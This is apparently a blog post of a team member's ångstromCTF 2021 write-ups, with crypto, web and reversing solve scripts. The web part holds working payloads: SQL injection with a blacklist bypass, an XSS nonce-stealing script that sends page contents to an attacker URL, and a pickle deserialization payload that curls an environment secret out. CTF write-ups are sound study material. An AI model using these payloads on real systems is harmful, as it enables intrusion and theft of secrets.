I participated in ångstromCTF 2021 as a member of WreckTheLine. The result was 11th/1245 (within teams with positive points). In this competition, we tried tasks which we were NOT good at. So I could tackle web tasks for a long time! …though I could solve a few. In this article I introduce writeups for some tasks I tackled. I’ll explicitly mention if the task is eventually solved by teammates.
Crypto
Home Rolled Crypto
We were given hand-made block cipher and had to guess the encryption of given msg. Given block cipher is as follow:
class Cipher:
BLOCK_SIZE = 16
ROUNDS = 3
def __init__(self, key):
assert len(key) == self.BLOCK_SIZE * self.ROUNDS
self.key = key
def __block_encrypt(self, block):
enc = int.from_bytes(block, "big")
for i in range(self.ROUNDS):
k = int.from_bytes(
self.key[i * self.BLOCK_SIZE : (i + 1) * self.BLOCK_SIZE], "big"
)
enc &= k
enc ^= k
return hex(enc)[2:].rjust(self.BLOCK_SIZE * 2, "0")
def __pad(self, msg):
if len(msg) % self.BLOCK_SIZE != 0:
return msg + (bytes([0]) * (self.BLOCK_SIZE - (len(msg) % self.BLOCK_SIZE)))
else:
return msg
def encrypt(self, msg):
m = self.__pad(msg)
e = ""
for i in range(0, len(m), self.BLOCK_SIZE):
e += self.__block_encrypt(m[i : i + self.BLOCK_SIZE])
return e.encode()
We can guess each encrypted bit from input one in the same place because this block cipher has no substitution.
from binascii import unhexlify
from pwn import *
r = remote("crypto.2021.chall.actf.co", 21602)
# enc_list_0 has encrypted bits when input is 0
r.sendlineafter("Would you like to encrypt [1], or try encrypting [2]? ", "1")
r.sendlineafter("What would you like to encrypt: ", "00" * Cipher.BLOCK_SIZE)
enc = unhexlify(r.recvline().strip())
enc_num = int.from_bytes(enc, "big")
enc_list_0 = []
for i in range(128):
tmp = 1 << i
enc_list_0.append(enc_num & tmp)
# enc_list_1 has encrypted bits when input is 1
enc_list_1 = []
for i in range(128):
tmp = 1 << i
tmp_bytes = tmp.to_bytes(16, "big")
r.sendlineafter("Would you like to encrypt [1], or try encrypting [2]? ", "1")
r.sendlineafter("What would you like to encrypt: ", tmp_bytes.hex())
enc = unhexlify(r.recvline().strip())
enc_list_1.append(int.from_bytes(enc, "big") & tmp)
# Let's encrypt
context.log_level = "DEBUG"
r.sendlineafter("Would you like to encrypt [1], or try encrypting [2]? ", "2")
for _ in range(10):
_ = r.recvuntil("Encrypt this: ")
msg_all = unhexlify(r.recvline().strip())
ans_all = ""
for i in range(0, 32, 16):
msg = msg_all[i: i+16]
msg_num = int.from_bytes(msg, "big")
ans = 0
for i in range(128):
if msg_num & (1 << i):
ans += enc_list_1[i]
else:
ans += enc_list_0[i]
ans_all += ans.to_bytes(16, "big").hex()
r.sendline(ans_all)
print(r.recvall())
actf{no_bit_shuffling_is_trivial}
Circle of Trust
import random
import secrets
import math
from decimal import Decimal, getcontext
from Crypto.Cipher import AES
BOUND = 2 ** 128
MULT = 10 ** 10
getcontext().prec = 50
def nums(a):
b = Decimal(random.randint(-a * MULT, a * MULT)) / MULT
c = (a ** 2 - b ** 2).sqrt()
if random.randrange(2):
c *= -1
return (b, c)
with open("flag", "r") as f:
flag = f.read().strip().encode("utf8")
diff = len(flag) % 16
if diff:
flag += b"\x00" * (16 - diff)
keynum = secrets.randbits(128)
ivnum = secrets.randbits(128)
key = int.to_bytes(keynum, 16, "big")
iv = int.to_bytes(ivnum, 16, "big")
x = Decimal(random.randint(1, BOUND * MULT)) / MULT
for _ in range(3):
(a, b) = nums(x)
print(f"({keynum + a}, {ivnum + b})")
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
enc = cipher.encrypt(flag)
print(enc.hex())
We were given 3 (keynum + a, ivnum + b) pairs.
Looking at carefully, as the task name suggested, I found that these 3 pairs were on the circle, whose radius was x
and center was (keynum, ivnum)
.
So all I had to do was calculate elementary geometry, with decimal dealt carefully.
# sage
from binascii import unhexlify
from Crypto.Cipher import AES
BOUND = 2 ** 128
MULT = 10 ** 10
enc = unhexlify(
"838371cd89ad72662eea41f79cb481c9bb5d6fa33a6808ce954441a2990261decadf3c62221d4df514841e18c0b47a76"
)
# sagemath
k_a_list = list(
[
457020213401268758000507112920047694562582161398,
552217331686024097808941630740787084233591522790,
147829667933855179054593001600696671775906950984,
],
)
i_b_list = list(
[
3102063444240427633682053892994161421570035757114,
3478849656138089624748664484183476717397027057536,
3402400039416515433450745405594262911016949048470,
]
)
a0 = -(k_a_list[1] - k_a_list[0]) / (i_b_list[1] - i_b_list[0])
x0 = (k_a_list[0] + k_a_list[1]) / 2
y0 = (i_b_list[0] + i_b_list[1]) / 2
a1 = -(k_a_list[2] - k_a_list[0]) / (i_b_list[2] - i_b_list[0])
x1 = (k_a_list[0] + k_a_list[2]) / 2
y1 = (i_b_list[0] + i_b_list[2]) / 2
keynum = (a0 * x0 - y0 - a1 * x1 + y1) / (a0 - a1)
ivnum = a0 * (keynum - x0) + y0
key = int.to_bytes(int(round(keynum/MULT)), 16, "big")
iv = int.to_bytes(int(round(ivnum/MULT)), 16, "big")
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
flag = cipher.decrypt(enc)
print(flag)
actf{elliptical_curve_minus_the_curve}
Substitution
#!/usr/bin/python
from functools import reduce
with open("flag", "r") as f:
key = [ord(x) for x in f.read().strip()]
def substitute(value):
return (reduce(lambda x, y: x * value + y, key)) % 691
print(
"Enter a number and it will be returned with our super secret synthetic substitution technique"
)
while True:
try:
value = input("> ")
if value == "quit":
quit()
value = int(value)
enc = substitute(value)
print(">> ", end="")
print(enc)
except ValueError:
print("Invalid input. ")
Let flag strings be and input be . substitution(x)
returns:
So I collected the output when :
from pwn import *
r = remote("crypto.2021.chall.actf.co", 21601)
enc_list = []
for i in range(691):
r.sendlineafter("> ", str(i))
_ = r.recvuntil(">> ")
enc = int(r.recvline().strip())
enc_list.append(enc)
print(enc_list)
and then solved simultaneous linear equations. Since the length of flag () were unknown, I brute-forced it.
# sage
enc_list = [125, 492, 670, 39, 244, 257, 104, 615, 129, 520, 428, 599, 404, 468, 465, 523, 345, 44, 425, 515, 116, 120, 515, 283, 651, 199, 69, 388, 319, 410, 133, 267, 215, 352, 521, 270, 629, 564, 662, 640, 352, 351, 481, 103, 161, 106, 306, 360, 587, 318, 450, 314, 164, 185, 519, 85, 472, 343, 41, 652, 320, 581, 400, 259, 119, 525, 374, 434, 162, 661, 145, 360, 209, 302, 426, 285, 358, 610, 572, 366, 434, 627, 206, 427, 166, 527, 590, 189, 462, 148, 428, 140, 306, 163, 265, 249, 522, 66, 136, 332, 327, 51, 337, 173, 100, 23, 445, 523, 252, 655, 105, 391, 322, 127, 196, 476, 116, 58, 404, 218, 492, 60, 194, 479, 175, 390, 12, 66, 270, 227, 41, 189, 428, 3, 68, 356, 228, 101, 285, 93, 620, 94, 490, 411, 422, 161, 152, 258, 26, 588, 406, 382, 32, 140, 484, 114, 180, 483, 38, 397, 155, 206, 141, 599, 584, 589, 460, 68, 520, 617, 247, 243, 331, 339, 239, 323, 533, 159, 28, 491, 663, 115, 441, 451, 617, 267, 188, 222, 472, 483, 500, 576, 117, 517, 228, 545, 329, 14, 18, 411, 478, 247, 349, 322, 298, 287, 601, 520, 59, 177, 98, 150, 286, 587, 402, 494, 318, 269, 189, 527, 207, 154, 291, 538, 192, 161, 317, 485, 466, 119, 117, 123, 20, 120, 276, 24, 435, 672, 573, 676, 58, 596, 648, 126, 428, 183, 524, 133, 232, 281, 190, 169, 655, 314, 29, 378, 635, 286, 31, 111, 68, 105, 648, 467, 95, 496, 276, 468, 474, 607, 398, 295, 205, 221, 267, 310, 438, 382, 54, 384, 79, 423, 270, 271, 465, 33, 558, 483, 668, 646, 202, 438, 262, 580, 263, 78, 331, 560, 54, 138, 355, 154, 282, 653, 609, 249, 637, 563, 576, 676, 605, 499, 392, 542, 569, 543, 87, 207, 463, 297, 537, 65, 542, 335, 601, 116, 108, 2, 415, 67, 84, 263, 238, 310, 412, 562, 250, 640, 495, 507, 262, 389, 242, 470, 27, 540, 489, 79, 173, 77, 306, 522, 378, 674, 197, 116, 115, 642, 610, 474, 566, 621, 513, 82, 257, 279, 257, 69, 403, 688, 624, 169, 350, 140, 241, 74, 662, 477, 191, 308, 205, 249, 659, 530, 180, 542, 625, 614, 85, 522, 145, 192, 226, 272, 277, 416, 442, 625, 97, 168, 196, 662, 687, 364, 281, 685, 446, 619, 195, 644, 314, 197, 66, 547, 580, 621, 18, 519, 671, 22, 186, 2, 251, 347, 385, 84, 610, 394, 677, 43, 304, 597, 535, 509, 523, 618, 501, 637, 79, 521, 264, 554, 248, 38, 316, 271, 607, 613, 405, 473, 682, 462, 448, 153, 230, 227, 125, 58, 182, 453, 39, 412, 497, 165, 125, 614, 120, 592, 627, 224, 555, 391, 118, 580, 461, 381, 45, 325, 74, 507, 222, 253, 635, 458, 580, 202, 29, 320, 132, 515, 65, 49, 552, 492, 344, 367, 223, 189, 193, 517, 675, 123, 371, 122, 681, 59, 244, 203, 613, 586, 169, 111, 650, 420, 488, 309, 508, 300, 350, 413, 434, 430, 180, 588, 237, 300, 264, 299, 645, 595, 367, 450, 14, 1, 616, 350, 671, 528, 342, 173, 336, 318, 358, 476, 662, 36, 126, 400, 107, 207, 636, 275, 646, 93, 256, 484, 293, 58, 685, 232, 310, 345, 482, 100, 663, 41, 371, 122, 517, 570, 63, 583, 546, 283, 313, 270, 428, 398, 341, 690, 657, 183, 143, 129, 375, 398, 348, 6, 85, 267, 585, 354, 253, 278, 78, 133, 633, 513, 652, 299, 418, 634, 199, 610, 155, 405, 155, 190, 244, 356, 54, 187, 146, 505, 78, 454, 47, 616, 570, 208, 94, 208, 123, 451, 321, 74, 64, 395, 567, 215, 620, 420, 1, 620, 117, 488, 184, 644, 510, 426, 173, 12, 154, 292, 383, 590, 401, 472, 325, 236, 203, 681, 513, 513, 329, 553, 371, 470, 612, 30, 181, 572, 620, 429, 655, 366, 504, 251, 485, 612, 377, 471, 336, 142, 589, 572, 676, 373, 632, 528, 495, 265, 204, 13, 617, 482, 45, 560, 130, 487, 18, 125]
for n in range(5, 100):
A = matrix(Zmod(691), n, n)
for i in range(n):
for j in range(n):
A[i, j] = pow(i, n-j-1, 691)
b = enc_list[:n]
f = A.solve_right(b)
tmp_prefix = "".join(map(chr, f[:5]))
if "actf{" in tmp_prefix:
print("".join(map(chr, f)))
break
actf{polynomials_20a829322766642530cf69}
Oracle of Blair
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
key = os.urandom(32)
flag = open("flag", "rb").read()
while 1:
try:
i = bytes.fromhex(input("give input: "))
if not i:
break
except:
break
iv = os.urandom(16)
inp = i.replace(b"{}", flag)
if len(inp) % 16:
inp = pad(inp, 16)
print(inp)
print(AES.new(key, AES.MODE_CBC, iv=iv).decrypt(inp).hex())
We can input any bytes, with {}
replaced to flag
, and decrypt it by AES with CBC mode.
When we input "\x00" * 16 + ("\x00" * 15 + "?") + ("\x00" * 15 + {})
, it’s replaced with "\x00" * 16 + ("\x00" * 15 + "?") + ("\x00" * 15 + "a") + "ctf{...}"
This is decrypted to Dec("\x00" * 16) + [Dec("\x00" * 15 + "?") xor "\x00" * 16] + [Dec("\x00" * 15 + "a") xor ("\x00 * 15 + "?")] + ...
(Dec
is the decryption of AES)
So comparing between 2nd and 3rd block, we can find what ”?” should be. For example, only when ”?” is “a”, 2nd block equals to 3rd block xored by "\x00" * 15 + "a"
We can find all characters by shifting them iteratively.
from binascii import hexlify, unhexlify
from pwn import *
r = remote("crypto.2021.chall.actf.co", 21112)
FLAG_LEN = 25
flag = b""
for idx in range(16):
for i in range(32, 128):
tmp = b"\x00" * (15 - idx) + flag + i.to_bytes(1, "big")
r.sendlineafter(
"give input: ",
"00" * 16 + hexlify(tmp).decode() + "00" * (15 - idx) + "7b7d",
)
ret = unhexlify(r.recvline().strip())
if xor(ret[32:48], tmp) == ret[16:32]:
print("found!")
flag += i.to_bytes(1, "big")
print(flag)
break
for idx in range(9):
for i in reversed(range(32, 128)):
tmp = flag[1 + idx : 16 + idx] + i.to_bytes(1, "big")
tmp2 = b"\x00" * (15 - idx) + flag[: idx + 1]
r.sendlineafter(
"give input: ",
"00" * 16 + hexlify(tmp).decode() + "00" * (15 - idx) + "7b7d",
)
ret = unhexlify(r.recvline().strip())
if xor(ret[48:64], tmp2) == ret[16:32]:
print("found!")
flag += i.to_bytes(1, "big")
print(flag)
break
actf{cbc_more_like_ecb_c}
Thunderbolt
We were given binary, which read flag
and encrypt user inputs.
I noticed that the output was randomly generated and the length of it was the same as of flag. Since this is not rev but crypto task, I guessed there was a bias vulnerability. I checked this by the following scripts:
import subprocess
from collections import Counter
test_flag = "ABCD"
with open("flag", "w") as f:
f.write(test_flag)
N = len(test_flag)
cmd = "./chall"
enc_cnt_list = [Counter() for _ in range(N)]
for _ in range(1000):
p = subprocess.run(cmd.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE)
for j in range(N):
enc = p.stdout[-1 - 2 * N + 2 * j : -1 - 2 * N + 2 * (j + 1)].decode()
enc_cnt_list[j][enc] += 1
for i, enc_cnt in enumerate(enc_cnt_list):
print(i)
for k, v in enc_cnt.most_common(2):
print(k, v)
print("=" * 80)
0
41 36
6d 10
================================================================================
1
42 26
75 10
================================================================================
2
43 23
ca 11
================================================================================
3
44 23
d7 11
================================================================================
As I guessed, the most popular character equals to the flag.
I wrote a script to collect encryption. It was needed to call remote
so many times that I multiprocessed it (sorry for server load…)
from collections import Counter
from concurrent import futures
from pwn import *
N = 55
enc_cnt_list = [Counter() for _ in range(N)]
def get_enc(enc_cnt_list):
r = remote("crypto.2021.chall.actf.co", 21603)
r.sendlineafter("Enter a string to encrypt: ", "")
enc = r.recvline().strip()
for j in range(N):
tmp = enc[2 * j : 2 * (j + 1)].decode()
enc_cnt_list[j][tmp] += 1
with futures.ThreadPoolExecutor(max_workers=32) as executor:
for _ in range(3200):
executor.submit(get_enc, enc_cnt_list=enc_cnt_list)
flag = b""
for enc_cnt in enc_cnt_list:
flag += bytes.fromhex(enc_cnt.most_common(1)[0][0])
print(flag)
actf{watch_the_edge_cases_31b2eb7440e6992c33f3e5bbd184}
Web
Sea of Quills
This is SQLi task.
(snip)
post '/quills' do
db = SQLite3::Database.new "quills.db"
cols = params[:cols]
lim = params[:limit]
off = params[:offset]
blacklist = ["-", "/", ";", "'", "\""]
blacklist.each { |word|
if cols.include? word
return "beep boop sqli detected!"
end
}
if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
return "bad, no quills for you!"
end
@row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])
p @row
erb :specific
end
We can use UNION SELECT
easily.
$ curl -X POST -d 'cols=name, sql from sqlite_master UNION SELECT name, desc&limit=100&offset=0' https://seaofquills.2021.chall.actf.co/quills
(snip)
<img src="flagtable" class="w3 h3">
<li class="pb5 pl3">CREATE TABLE flagtable (
flag varchar(30)
) <ul><li></li></ul></li><br />
(snip)
$ curl -X POST -d 'cols=flag FROM flagtable UNION SELECT name&limit=100&offset=0' https://seaofquills.2021.chall.actf.co/quills
(snip)
<img src="actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}" class="w3 h3">
<li class="pb5 pl3"> <ul><li></li></ul></li><br />
(snip)
actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}
nomnomnom
This is an XSS task.
(snip)
app.get('/shares/:shareName', function(req, res) {
// TODO: better page maybe...? would attract those sweet sweet vcbucks
if (!(req.params.shareName in shares)) {
return res.status(400).send('hey that share doesn\'t exist... are you a time traveller :O');
}
const share = shares[req.params.shareName];
const score = share.score;
const name = share.name;
const nonce = crypto.randomBytes(16).toString('hex');
let extra = '';
if (req.cookies.no_this_is_not_the_challenge_go_away === nothisisntthechallenge) {
extra = `deletion token: <code>${process.env.FLAG}</code>`
}
return res.send(`
<!DOCTYPE html>
<html>
<head>
<meta http-equiv='Content-Security-Policy' content="script-src 'nonce-${nonce}'">
<title>snek nomnomnom</title>
</head>
<body>
${extra}${extra ? '<br /><br />' : ''}
<h2>snek goes <em>nomnomnom</em></h2><br />
Check out this score of ${score}! <br />
<a href='/'>Play!</a> <button id='reporter'>Report.</button> <br />
<br />
This score was set by ${name}
<script nonce='${nonce}'>
function report() {
fetch('/report/${req.params.shareName}', {
method: 'POST'
});
}
document.getElementById('reporter').onclick = () => { report() };
</script>
</body>
</html>`);
});
app.post('/report/:shareName', async function(req, res) {
if (!(req.params.shareName in shares)) {
return res.status(400).send('hey that share doesn\'t exist... are you a time traveller :O');
}
await visiter.visit(
nothisisntthechallenge,
`http://localhost:9999/shares/${req.params.shareName}`
);
})
(snip)
const puppeteer = require('puppeteer')
const fs = require('fs')
async function visit(secret, url) {
const browser = await puppeteer.launch({ args: ['--no-sandbox'], product: 'firefox' })
var page = await browser.newPage()
await page.setCookie({
name: 'no_this_is_not_the_challenge_go_away',
value: secret,
domain: 'localhost',
samesite: 'strict'
})
await page.goto(url)
// idk, race conditions!!! :D
await new Promise(resolve => setTimeout(resolve, 500));
await page.close()
await browser.close()
}
The flag can be shown when cookie no_this_is_not_the_challenge_go_away
is set correctly. This correct cookie is set in visiter.visit
.
The CSP is applied for XSS.
Looking at visiter.js
, I found that browser was set to firefox
explicitly. I googled and found this site (Japanese).
<html>
<body>
<script src="data:text/javascript,alert('XSS')"
<script nonce="random123">doGoodStuff()</script>
</body>
</html>
(cited from above site)
Even when we don’t know nonce, <script
without close >
can steal the following script
’s nonce.
This is fixed by chrome, but not by firefox.
So I wrote and ran this script:
import requests
url = "https://nomnomnom.2021.chall.actf.co"
payload_name = "<script src=\"data:text/javascript,fetch('/shares/hint', {method: 'GET', credentials: 'include'}).then(r => r.text()).then(text => location='MY_URL?q='+escape(text))\""
payload_score = 2
r = requests.post(f"{url}/record", json={"name": payload_name, "score": payload_score})
print(r.text)
After that curl -X POST https://nomnomnom.2021.chall.actf.co/report/SHARE_NAME
.
I can get a flag as a query.
actf{w0ah_the_t4g_n0mm3d_th1ng5}
Spoofy
from flask import Flask, Response, request
import os
from typing import List
FLAG: str = os.environ.get("FLAG") or "flag{fake_flag}"
with open(__file__, "r") as f:
SOURCE: str = f.read()
app: Flask = Flask(__name__)
def text_response(body: str, status: int = 200, **kwargs) -> Response:
return Response(body, mimetype="text/plain", status=status, **kwargs)
@app.route("/source")
def send_source() -> Response:
return text_response(SOURCE)
@app.route("/")
def main_page() -> Response:
if "X-Forwarded-For" in request.headers:
# https://stackoverflow.com/q/18264304/
# Some people say first ip in list, some people say last
# I don't know who to believe
# So just believe both
ips: List[str] = request.headers["X-Forwarded-For"].split(", ")
if not ips:
return text_response("How is it even possible to have 0 IPs???", 400)
if ips[0] != ips[-1]:
return text_response(
"First and last IPs disagree so I'm just going to not serve this request.",
400,
)
ip: str = ips[0]
if ip != "1.3.3.7":
return text_response("I don't trust you >:(", 401)
return text_response("Hello 1337 haxx0r, here's the flag! " + FLAG)
else:
return text_response("Please run the server through a proxy.", 400)
I wrote and deployed to Heroku the following script in order to do some experiments:
from flask import Flask, request
import json
app = Flask(__name__)
@app.route("/")
def root():
return json.dumps(dict(request.headers))
if __name__ == "__main__":
app.run()
I didn’t know why but I found adding X-Forwarded-For
twice could work.
curl -H 'X-Forwarded-For:1.3.3.7' -H 'X-Forwarded-For:, 1.3.3.7' https://actf-spoofy.herokuapp.com/
actf{spoofing_is_quite_spiffy}
Jar
(snip)
flag = os.environ.get("FLAG", "actf{FAKE_FLAG}")
(snip)
@app.route("/")
def jar():
contents = request.cookies.get("contents")
if contents:
items = pickle.loads(base64.b64decode(contents))
else:
items = []
return (
'<form method="post" action="/add" style="text-align: center; width: 100%"><input type="text" name="item" placeholder="Item"><button>Add Item</button><img style="width: 100%; height: 100%" src="/pickle.jpg">'
+ "".join(
f'<div style="background-color: white; font-size: 3em; position: absolute; top: {random.random()*100}%; left: {random.random()*100}%;">{item}</div>'
for item in items
)
)
(snip)
It uses pickle
to load contents. flag
is read from env variables.
I referred to this site to make a payload for pickle and wrote the following script.
import base64
import requests
code = b"""cos
system
(S'curl MY_URL -d $(echo $FLAG)'
tR.)"""
payload = base64.b64encode(code).decode()
url = "https://jar.2021.chall.actf.co/"
requests.get(url, cookies={"contents": payload})
actf{you_got_yourself_out_of_a_pickle}
Sea of Quills 2
(This task was solved by teammates)
This is almost the same task as Sea of Quills. The differences are following:
3a4
> set :server, :puma
5a7
> set :environment, :production
27c29
< blacklist = ["-", "/", ";", "'", "\""]
---
> blacklist = ["-", "/", ";", "'", "\"", "flag"]
36c38
< if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
---
> if cols.length > 24 || !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
The word flag
is added to blacklist
and the length of cols
becomes restricted.
We can skip the following sentences by \0
$ curl -X POST -d 'cols=sql FROM sqlite_master %00&limit=100&offset=0' https://seaofquills-two.2021.chall.actf.co/quills
(snip)
<li class="pb5 pl3"> <ul><li></li></ul></li><br />
<img src="CREATE TABLE flagtable (
flag varchar(30)
)" class="w3 h3">
(snip)
This is the same table name as the previous task. Since sqlite is insensitive to upper of lower case we can avoid blacklist using uppercase flag.
$ curl -X POST -d 'cols=* FROM FLAGTABLE %00&limit=100&offset=0' https://seaofquills-two.2021.chall.actf.co/quills
(snip)
<img src="actf{the_time_we_have_spent_together_riding_through_this_english_denylist_c0776ee734497ca81cbd55ea}" class="w3 h3">
(snip)
actf{the_time_we_have_spent_together_riding_through_this_english_denylist_c0776ee734497ca81cbd55ea}
Rev
lambda lambda
We were given a script written by lambda function.
I did some experiments and found the following:
- Each character in each place is mapped to a certain value
- Each mapped value are summed like 256-ary number
So I determined the flag character by character.
import subprocess
cmd = "python chall.py"
c = 2692665569775536810618960607010822800159298089096272924
c_list = []
while c:
c_list.append(c % 256)
c //= 256
c_list = c_list[::-1]
print(c_list)
ans = b"actf{"
out = c_list[0]
for i in range(len(ans)):
out = 256 * out + c_list[i+1]
ans_int = int.from_bytes(ans, "big")
for idx in range(len(ans), len(c_list)):
for i in reversed(range(32, 128)):
tmp_ans = ans + i.to_bytes(1, "big")
with open("./flag.txt", "wb") as f:
f.write(tmp_ans)
p = subprocess.run(cmd.split(), stdout=subprocess.PIPE)
tmp_out = int(p.stdout)
if tmp_out % 256 == out % 256:
print("found!")
ans += chr(i).encode()
print(ans)
out = 256 * out + c_list[idx + 1]
break
else:
print("not found...")
ans += b"?"
print(ans)
out = 256 * out + c_list[idx + 1]
I don’t know why but the output was actf{3p1c_0n?_l1n3r_95}
, 12th character was not found. I guessed it.
actf{3p1c_0n3_l1n3r_95}
RousTel
We were given CPU architecture, program for encryption and encrypted flag.
I downloaded logisim-generic-2.7.1.jar
and opened roustel.circ
and enc.ram
. After that I did some experiments by modifying the memory and running the program.
I found that the memory was updated like the following in each cycle:
M[32] = 0 # for padding
M[33] = 0 # for padding
for i in range(32):
M[i] = (M[i] ^ M[i+1]) + M[i+2]
I wrote decoding script.
enc = [0x62, 0xD6, 0x9D, 0x28, 0x8F, 0xEF, 0x6B, 0x0E, 0x5A, 0xE1, 0x68, 0x7B, 0xA2, 0x83, 0x5E, 0xFC, 0xCC, 0x03, 0x9A, 0x4B, 0x94, 0x39, 0x05, 0x4A, 0x27, 0x85, 0x95, 0x20, 0xB1, 0xA8, 0x1E, 0x7D,
0x00, # for padding
0x00, # for padding
]
ans = [0] * 32
for _ in range(1000):
for i in reversed(range(32)):
enc[i] = ((enc[i] - enc[i + 2]) % 256) ^ enc[i + 1]
if b"actf{" in (tmp := bytes(enc[:32])):
print(tmp)
break
actf{roustel_inside82f6270f973c}